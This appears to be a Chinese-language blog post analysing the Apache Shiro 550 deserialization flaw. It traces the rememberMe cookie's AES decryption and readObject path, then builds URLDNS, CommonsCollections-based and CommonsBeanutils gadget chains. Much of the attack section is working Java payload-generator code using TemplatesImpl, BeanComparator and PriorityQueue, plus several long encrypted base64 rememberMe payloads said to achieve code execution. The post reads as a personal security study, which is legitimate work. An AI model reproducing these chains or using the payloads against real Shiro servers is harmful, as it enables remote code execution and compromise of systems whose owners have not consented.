Shiro550
发表于:2025-03-03 | 分类: Java

Shiro550

今天我们精进shiro的反序列化!!!

之前有做过相关的shiro550与721的复现,不过都是利用工具的,没有理解里面的原理

550的话是由于他的密钥是固定的,是可以爆破的,经过Base64和AES解密以后,可以将里面的内容构造为恶意代码,从而达到RCE的目的

发现

在登录界面有remember me的选项,勾选后点击登录抓包

rememberMe字段中会有这么一大段东西,说明里面是存储着某些信息的,这些信息可以让我们下次不需要再次登录。我们这里可以去源码中看看进行了什么样的操作呢

在源码中找到了一个CookieRememberMeManager,应该就是它在管理这个Rememberme

在这个地方,将数据包中的cookie取出来进行base64解码,后返回解码的东西,我们看看谁调用了它

找到在getRememberedPrincipals中调用了这个方法,将解码出来的字节,放入convertBytesToPrincipals方法中,我们跟进看一下(看名字就知道跟认证有关)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

这个方法内,对所传入的字节进行一个解密,然后将反序列化后的它返回了回去

这里的解密函数就是AES解密,反序列化也是调用了原生的readObject

如果说它带了cc的依赖,我们就可以打它的cc依赖

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

大概流程如下,反序列化的点就在convertBytesToPrincipals中

攻击方式

URLDNS

由于shiro有cc依赖,但是在代码中没有import,所以cc的依赖没有办法打,我们先来验证一下,去打jdk自己的URLDNS链子

先生成一个可用域名

再去生成一个URLDNS链子的payload

后续我们需要用脚本,对生成的payload进行AES加密,再进行base64加密(生成payload如下)

1
GVpWKjIkTESUwYXtKFTtzBwv5gw1KjohG6Q1RBnlOtMF5aGvp6FnFFlyMyPhmvdWFyL8TLw8e34+65Sw3+c0jq0qop8ubQQtcAjHdZu2T6Nfleg7g7/sA0gOyaUCRpR5WYkqDo4/GxFwM2Qn22t0Dx6GogH20i0g19gGsHWT1Ng1LTa0TgvHKJvVT8L8wCWKh5RRncVyFLmVM6OUDuroPjw2NNIKspmj2RGD6yMCSBe3fon6nfFXnctFYO4oT7wxmL+3EKZ55HKdCRVXr4nlYnh+MU1KS9KUuuMrhdUFOCNHEcVEV7IXLBBXCwjM1yibRCgzXSGGojxNqvAO1wl4JeIRLLsVvzMbeokSS14xcmHPLQC25TmcdfgcFr91zWGDUg7zPR+8R/uCZf2hK/YoqFSKy6bqFYjuENfZ2YDbZTCZBk+tIF6YDcbkOU4eVnbaZRAmJMY2PR+fEPKzNcaZlkY720KjGE6G0YRCvLC+hUE=

将paload放入数据包中的reMeberMe中,shiro就会对他进行反序列化操作从而触发URLDNS

CC攻击链

环境配置

这里我们用cc3.2.1来搭建这个环境

我们先来使用cc6来打一下这个shiro环境,看一下它是一个怎么样的效果

1
GjDw1BVbSzeG2ZRTiqsafqN5Woprm2vK0ocyatebZYZCU5Wu30PTYzojzumFhnlTQ5GTyzlGh+Pm3PL5pBzTdQNVgwBoa7PqqUh9oqU2IIJymF2XMaQPVq513mugvjFZ8ZC2UoHDaFvlDRUToAtLqcJpfUoRq52Gvx8v1fB9GyJm5iZSLfXMmXDznYPVltvFvdePbi0eXj2K/85Zq89TCfsfVU5h2vAwP4XiTkZAlJgaXbR3FuFDpDZbKHaMRMdN5dCVT0nqHuCX/kIayuy7AfiMJRIt+sW0EFSX8S8T6Xcs/mCPtqvsiI0Kuxxl5oJq1fDRAf/QX8ovcUPiH0JK76llM+xtfkq4CrzoaY+NFp6lYOTXKN9PU+sjcioO/3BODMqmjg0clQHQV4ici3uIJ2C18V9AiZIK8S/NBhbi+0pjDECD5iErgGF5EGvdl4D85+R8GwxX8qwykGokzno6hwfyPMe9+UdvTn1rjsIroPjhETlyOZNzFlqu8Zj1K52JydgbceL1F35RjKWJzGc7dEBzmJmQ6Cahd6ICdgLRImlBYr62LZM18CXqB9naxJ4lbekq4R1zCQ8KKhpqWaAYXaL2jBsVympOss2I/uB4DQGYBVYBNowkwFlG3/O3zlDz+G60BVUR4cQnNwWqAnEWTSgS7ZGWaCfQW4T3gg4Gv5ZuuvEek9Kwi+h4e6bcrHEq6A+WTlrgb0XS40yQF2bwleEeNggdwpTrGbjd3pLUCa00Tn/yWLzzuN/6TwpANBHDfEB3RrPdaQSNu7YOGPSe4xEH3l+sSJMuULdwr/Two0TDOU1E/X9Y0wJ0crm0d7MIkvnHfqk6SGtyUTVYfo2c81sSWuB/6AQL0L9eYVozGWkl6h9Ap4lYckTuI5L1i7klVSSqcl++P0W26RrDTcVUs0YHTQc0KoPcrjrJm6jvJjz8RqiaClyrGIBL3kuSmmOWPZWT9V9CPhpz0n08i402ZdcVJOAhYAPk3B6P1t4ViPl0gcUP/hUt/acHMnhZGqNSRO5lgTambJg4d+bH9HUky19NXu3jb4jM9vauu6lqcmG87x97/uOA4EJRcGf2iFZO+6k96gRhUY/AJ0O5aE8veJhwnyPzaCaJzAdQlp4kQrWG0dvhKLhLHwdjOkrvBmERfxN58fpQDl82VHrV76+8jTIDFUZxzr/a/7IIqpmimcK9gsv7dBKP8nMRLoY64C0FR92FhRTcGcrGYc+NZpGK08aXZK1/eWqi9RgV2LY+lFn8f1Gl6QsIzy7H6zSw9GLq9r2EMR/DthiuPLBlOciFL50RVMit0Ts+wtSRmb3/3U97OP2zDEWeBNno0zRmCgrl0Mja1LbI1wtmYCFqHKbp1aRhCxKlHe94rkv8kpNpJwp3arAJckGZxRdhdr3MqL0JwQm0BOlfqyiGV4Z/LbczMIcut+OXRjma4nT8jIdFEwfVGc3a9OxU2x37F++ewCRl4jBr7+7N2f6KmN0JOLe21wsCm4pl0AKO6ZldfOeyZrQeo6SQ/44jxbQ/cg79vmV5'

报错分析

将payload放入rememberMe后,服务器端爆出了一下错误,说无法加载Transformer这个类

这里我们跟着源码去分析一下

这里找到报错的地方,这里它并不是调用了默认的字节输入流,而是调用了shiro自己写的一个ClassResolvingObjectInputStream,我们跟进去ClassResolvingObjectInputStream看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

ClassResolvingObjectInputStream只有两个方法,一个构造方法我们就不看了,看一下另一个

这里的resolveClass的方法,是在反序列化时都会调用到的,在默认的ObjectInputStream也是有这个方法的,我们来对比一下

大概的差别就是ClassResolvingObjectInputStream调用的是ClassUtils.forName(osc.getName());,其中ClassUtils是shiro自定的一个工具类

ObjectInputStream调用的是Class.forName(name, false, latestUserDefinedLoader());

我们可以这样理解,Class.forName是可以对数组进行操作的,而ClassUtils.forName是不能对数组进行操作的,这就是报错的原因

1
2
3
4
5
6
7
8
9
// ClassResolvingObjectInputStream
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}

报错调整

这里我们不能利用数组了,因为cc1中调用Runtime.exec需要用`ChainedTransformer``ConstantTransformer`来更正返回值,所以我们选用动态类加载去加载恶意类,大概流程如下

接下来我们去改写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null,null);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));

TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, "qwe");
lazyMap.remove(templates);

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,invokerTransformer);

// serialize(map2);
unserialize("ser.bin");


}

然后老样子生成payload,放入remeberMe中(这个payload有点长,因为我们把整个类的东西都放进去了)

1
z63yaT+pRKuWY/div9sA3wupuFtc2pvoYNv5xIQkya7wsuDr6wrIPxFV/ZjwFZiWaoQCvPy7TDK5+d+X8xkNocr08tLLfq7HMSSRFArD6F6S0+FcLzTXQpr2RiKCbmfV2i6vihz3ylcIhyHEn6XaUF7cKY5XNxjrrUxh2f1gsCGTX3NjU155fYuqM+ndqlh7/5140q9Fn0MIpWgZesq/eNfUYEA3iEcDv5VM+W5p/DDzvERg9rftFrzI60jkUZvxHqgF+LjLieNqbYMcZl0ah54n3IytkCfayN31QEqKxzqO8iHE7JNmPvzSclIZSuohjTHFLk+Um3Gh9MqMcgBeDrJFgP+KXkwIFCKTV7rEJku51b6WzXeOHrPAU07WSmoWnMZxasyVbGZSxkIj7SGdRZam+CtUt+1VtMtJvRP0J47R4js3SmvLFg5jy2ANNIuBxlemOsubsVlTbQM0bWjWm+bcX9cknFmCEtCT+chlqd7wAgoZmNm3E5UUAQKE4kTS4HLEUYpBkQrFg3NDqBx4i4Md7eMZvmBw0J8qlTLUIL1BYtBlo+g3Un3WPsmkDB3MUpcP7CBbwziwBfnzSgiC0eztsKGVb0FOO7ohs0qR9U6IodiqcwMvwmm+4Ts/i10cDj40VjhiNTYqIpEr0eo44/HSeR2BZHjMwTRM5z3W1o6bC8qtrlNxHqtClXzKGOtbZVJ2aeUe/fzU5EBiFx4joqhlfksS8pO0nEilUUPYaLd1UQ+JmozbIXxWnGRLk8eps3z+j6Lr4J9+rAgLbplTMrPF+avWO5OjonB3FCczFdXCysDahd4G/2CR599CYcHuAbHVOFEAQ56z3MdcIryqecxwUXQDGZF+8LqZX0N0AEwIjOLK2Xrto2dmkz0kgwU2lNn/fb8fusO1K4jV+lfGkB7Xvbu3EUS0WlK1jGBo/ORgIuxnRdi7TI1fYbMhxq5uwVlnlYLY7mtQSCtyEKqexn1h88fR4yrHAKD9JzhUP0J5Zxnpqndv0zOkV5U8rXM3lv0dwh7/WuHAypsGD5243nQmxDOwhYJSio/tx6IV77HJgaSVqQRUPte+ijoZ6hMAujEVkHFRuT+Nc1F+E7tj3Jd0akQ227Xoww5o7V1IzVGf+GfkSB8uCDfXT37T+1IsE8LPsMV9smrNcQ8BGQUONjgvtkVR4c6wO8ROUEFaJWaSl6taG82ULGQpJwfjvI8f9Gwg+wdnXO6P6IQZZlf830u9wCMDvU+aSpV+uKHuxpsvELZ3mceTZJbTaR3eQr8C8HDgM95r6pvDopVUFDoTXEXfygWa3vg4ObNXRogYAAu/X9XRuomozqMyrj/alu3acxNyLxeU9gV1O+K9kGMu4wTckcvvAUNR66qGw07jUVGWcMB5NJh6tOHXs7Tnz4gT1gkGf/6evQC1zrZNC4J4VCEJSFQ74J84hFmrx/quevaTLEW4D/7f4oJup6yb66CK973iu7gwC4ykD3bD8ib2r8wwHkWJ391B8Onf2OLwKJDnrF/qPZlxPOhJJObRY/Nq0BlKtb2Vu5D4ebVADzIKBkpZE4yWaOcqiIEzk01DH7UQiz+m59UNnHdGkCZP8rjLv6obRK1BEImjcxvPhg7oBIM45x1u3mFAh6X2VOFADsJOjRsp3obet0KutCwQY7hSdTVoR+fjNBAtKsPXXXsQVQ/+yJNB7UbkrnaqBxg3MOB5iw4zuCWCK3hSWP5EEDH2z5W145N68x3Z00wzutYJySe+mAAzWx6nyo1zO20v/bcB5OG+MjWjjqSupywC3y6ynLfQKGGouU5aa7rl8tLXuINFFqe+Ad6PRaZukJqOub8lDa/ZHbyYIRCVghmgpXMId9//JaeyahKC7iOYIv3sqn1GYINNpoNxUZnDIpfC3YmKVm2VHggdgo/OWlvllwbqShJ3Ips0Z6RIPgqvag0aQ/gY1GFAce/dBbKejqvDbmoC9b97qzSzPWtrrraqxJ7slSKLGtdsyLOeY4RAl0m3JpKj+H/MFEYxV9HDdaeLfieFoBDlLBD2PGQFrS5EJHdavN34ZMCs4svg6MpbF/poqU8o7xZpsb91/VJ7NPATbuZOTcoMzG1KcCi3e0wHlFVaRM41IjW2b/1GkC70lAogdFbv2BnTNAonYm+xCb8TaCpfqaG+zHTeIMj0hjgi9j/StWcqPeWZIJojTJNE7/JSP+79OAynOrWqRxZ2UtobVtw57Ot5LoGYKPnxc3N7GP5ZY49ZNs42S12gLmQqH/xF/Zp33mXJLyP1UNrSNIF1oA9k4YyRVjmdm9HMtz2sfKZgfciHrz0lqstrwwb0OxRhdMq3/eE4OqxnhM26cANItGtY1hnVfGueQdRwGjTH3jcdQMiHhK4IZPBCfyoAACJtFCtYDiVk8GsYzDHy/nxIX0veI7J8Np3Rt73kj4Ax8g9mSwQADb8T2XSH4MJith4BvIwUMMOyToz3HW8cwzs6ZYmOUW0Fl8GOfKPzvlEo0IvYXllerte7cd7hxrTLI3bXjwl8ju9J7+8Cl0TZAOGs95s+qYKXkYeNZ8P8Xd980xj/F2CxfFJ3TtI4H2wkr9qkBpOmJ5g8I98y2bc6WZxqZXzjNr55yKghsi7DMGP9SFNuT9y6o242OSHVZkdZ3FdVlM5onHxs3qREIpjVnjz6hlSiTGjoH0LM26OjbGGfXYLsNY9e6pw1kt84D8URed/fiNEBQE8qQCgyxjUELiFwtGMSlnZNlh5qEEoyVF5UEvkfCrX1qixhDq135ex1JYpCjyK56q+QiB4nB6g1d2829xJOx9fu+pcVptiewUd736qeOBANiqPVazMQhU68xRPoThfvLa4dHOrIxW2bpOpyVXyxojrPkX6Y1wCIlXqM+sH77+8LfLCcJgdhFjm9CCso9SrKnAZhTfMl1X2aXMlVtCBmcSXwmf53ur7kt1nQGZfHb6XCqwCBtxqwPLm3KwpKuV4oD3RjjQV9ffM7BWyEdrNwtgo9Eyo0vRyyUUcl5zjwS8AoP0LiTgnmX6Mdj+6cQHVx9ijuMIbAw9VF0d9hfFtc3qsdbglWx08edupmeEpUre5aHe+fyAoP1+LruBWawdQCt/6aClzaI6QDijIMothRpUwz4+HN7YYoCrbKl9niSwOT0pDf9woU5xWCMD3ZWO4ZG2CAR23L1YnS2VrlrNg='

CB链

shiro框架本身是不带cc的依赖的,上次打cc依赖是我们自己加的,这次我们把这个cc依赖删掉,去打他本身的CB依赖(commons-beanutils)

javabean

javabean是一个遵循特定写法的Java类

特点:

  1. 这个Java类必须有一个无参构造方法
  2. 属性必须私有化
  3. 私有化的属性必须通过public类型的方法暴露给其他程序,并且命名也遵循一定的命名规范

例如:

1
2
3
4
5
6
7
8
9
10
11
public class Person{
private String name;
private int age;

public String getName(){ return this.name}
public void setName(String name){ this.name = name; }

public int getAge(){ return this.name; }
public void setAge(){ this.age = age; }

}

如果想获取Javabean的私有属性,我们只能通过以下这种方式获取,但是在CB中为了能够动态的获取Javabean的私有属性,所以构造了一个PropertyUtils.getProperty方法

1
2
3
4
5
6
public class BeanTest{
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",18);
System.out.println(person.getName);
}
}

PropertyUtils.getProperty的使用示例如下,他就会自动的去调用Person类的get方法,我们传入的是name属性,它会自动把这个属性的命名自动改为固定格式的形式,这里就会转为’Name’,调用的方法就是getName和setName方法

1
2
3
4
5
6
public class BeanTest{
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",18);
System.out.println(PropertyUtils.getProperty(person,"name"));
}
}

getOutputProperites

在`TemplatesImpl`中有一个`getOutputProperties`方法,这个格式的命名就很符合Javabean,且他的方法调用了`newTransformer`方法,他是可以动态加载类的
1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

我们尝试用这个来执行一下代码

调用getOutputProperties就可以成功加载恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

PropertyUtils.getProperty(templates,"outputProperties");
}

CB攻击链分析

逻辑理解
现在我们需要找谁调用了这个PropertyUtils.getProperty方法,我们可以在BeanComparetor中找到它的身影,在它的compare中调用了这PropertyUtils.getProperty方法,且this.property我们也是可以控制的

正好我们之前也有调用compare的入口方法,这样就接上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//BeanComparetor
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
IllegalAccessException iae = var5;
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException var6) {
InvocationTargetException ite = var6;
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException var7) {
NoSuchMethodException nsme = var7;
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

大概就是这样的,我们来验证一下

最终代码如下(这个是自己思考的哟,自己写出来的,但是中间有好多东西都迷糊,看一下组长的把)

思考了一下,add的参数是数字时候,会调用Integer类的getOutputProperties方法,而它是没有这个方法的,所以会报错,我这里通过反射修改size的值,以便达到遍历的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties");

PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);

priorityQueue.add(templates);

Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

// serialize(priorityQueue);
unserialize("ser.bin");

}
调整
但是在用来打shiro的时候,会报一个错误

因为在CB编写的时候,就有些东西是和CC来配合的,在BeanComparator的构造函数中,会默认调用ComparableComparatorgetInstance方法,而ComparableComparator是cc依赖中的,shiro中默认没有带cc依赖,导致的错误发生

1
2
3
4
5
6
7
8
9
10
11
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;

public BeanComparator() {
this((String)null);
}

public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}

BeanComparator还有一个构造函数如下,里面的Comparator是可以自己传的,所以我们可以用这个构造函数来绕过cc的依赖

1
2
3
4
5
6
7
8
9
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}

}

我自己的代码如下

beanComparator这里传入一个不为cc依赖的Comparator即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

BeanComparator beanComparator = new BeanComparator("outputProperties",new BeanComparator());

PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);

priorityQueue.add(templates);

Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

serialize(priorityQueue);
unserialize("ser.bin");

}

生成payload后,去打shiro框架(不知道为什么在)

1
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

也是成功加载了恶意代码

组长的代码~
组长的代码如下,组长的代码是在add方法时候会报错导致序列化不成功(这里是在传入Intger时,也会调用Integer类的getOutputProperties的方法,但是他实际没有这个方法所以报错),所以在向PriorityQueue传入Comparator时,组长传入一个无用的`TransformingComparator`,然后通过反射修改回来(这里还有一个方法,在add时,只添加数字,后续通过反射修改回来)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

BeanComparator beanComparator = new BeanComparator("outputProperties",new BeanComparator());

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, beanComparator);

serialize(priorityQueue);
unserialize("ser.bin");

}

生成payload后,也是能成功打通的(还是组长的好哇)

1
